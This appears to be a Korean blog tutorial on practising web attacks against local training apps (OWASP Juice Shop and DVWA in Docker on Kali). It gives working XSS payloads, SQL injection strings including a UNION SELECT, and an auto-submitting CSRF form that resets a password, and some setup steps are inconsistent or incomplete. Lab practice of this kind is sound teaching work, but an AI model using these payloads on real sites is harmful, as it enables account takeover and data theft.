자바스크립트를 허용해주세요.
[ 자바스크립트 활성화 방법 ]
from Mohon Aktifkan Javascript!
 

[보안] 3. XSS, SQL Injection, CSRF 등 웹 취약점 실습

728x90

✅ 1. XSS (Cross-Site Scription)

기본적으로 Kali Linux에 Docker를 설치해야 합니다. 우선 아래 명령어로 Docker & Compose를 설치해 줍니다.

sudo apt update
sudo apt install docker.io -y
sudo apt install docker-compose -y
  • 설치 확인:
docker --version
docker-compose --version

✅ 2. 1단계: OWASP Juice Shop 설치 및 실행

다음 명령어를 통해 docker로 juice-shop을 실행 해 👉 http:localhost:3000에  접속해 봅니다.

sudo docker run --rm -p 3000:3000 bkimminich/juice-shop
  • Juice Shop 메인 페이지가 뜨면 성공 ✅

✅ 3. 2단계: DVWA (CSRF 실습)

DVWA는 PHP/MySQL을 기반으로 하기 때문에 Docker Compose를 사용해 실행하는 것이 좋습니다.

version: '3'
services:
  dvwa:
    image: vulnerables/web-dvwa
    ports:
      - "8080:80"
    restart: always
  • 실행
sudo docker-compose up -d

 

위 명령어를 실행해 브라우저에 http://localhost:8080에 접속합니다.

  • 초기 로그인: admin / password 
  • 첫 실행시 DB 세팅 버튼을 눌러주어야 함 ("Create / Reset Database")

4. 실습 해보기

💠 1단계: XSS (Cross-Site Scription)

1. 🖥️ 접속

http://localhost:8080
  • 로그인: admin / password
  • Security Level: Low

2. 메뉴 이동

  • 좌측 메뉴 -> XSS (Reflected)

3. 실습

  • 입력칸에 다음 코드 입력:
<script>alert('XSS')</script>
  • Submit 버튼 클릭 -> 페이지 새로고침 시 alert 팝업이 뜨면 성공

4. 추가 예제

"><img src=x onerror=alert(1)>
<svg onload=alert('hacked')>

 

🖥️ 2단계: SQL Injection 실습

1. 메뉴 이동

  • 좌측 메뉴 -> SQL Injection

2. 실습

  • User ID 입력칸에 다음과 같이 입력
1' OR '1'='1
  • Submit 버튼 클릭 -> DB 내 모든 사용자 정보 출력 시 성공 ✅

3. 추가 예제

1' UNION SELECT null, version()--
  • DB 버전 정보 확인 가능

🖥️ 3단계: CSRF 실습

 

1. 컨테이너 접속

sudo docker ps
sudo docker exec -it <컨테이너ID> bash
cd /var/www/html

 

2. CSRF 취약점 소스 수정

  • 컨테이너 안에서 다음과 같이 입력
cd vulnerabilities/csrf
nano index.php
  • Low 모드에서 실제로 비밀번호 변경이 적용되도록 조건 수정
<?php
session_start();
if(isset($_POST['password_new']) && isset($_POST['password_conf'])) {
    $new_password = $_POST['password_new'];
    $user = $_SESSION['user'];
    // DB 업데이트 코드 실행
    echo "Password changed to $new_password";
}
?>
  • 컨테이너로 복사
sudo docker ps
sudo docker cp ~/dvwa_edit/vulnerabilities/csrf/index.php <컨테이너ID>:/var/www/html/vulnerabilities/csrf/index.php
  • 디렉토리 생성
mkdir -p ~/dvwa_edit/attack
  • HTML 파일 작성
nano ~/dvwa_edit/attack/csrf_attack.html
<form action="http://localhost:8080/vulnerabilities/csrf/" method="POST">
  <input type="hidden" name="password_new" value="hacked1234">
  <input type="hidden" name="password_conf" value="hacked1234">
  <input type="submit">
</form>
<script>document.forms[0].submit();</script>
  • 컨테이너로 복사
http://localhost:8080/attack/csrf_attack.html

 

3. 브라우저 접속

http://localhost:8080/attack/csrf_attack.html
  • DVWA 로그인 상태에서 열면 비밀번호 변경 성공 ✅ (실제로 바뀌진 않음! 실습용)

 

728x90
LIST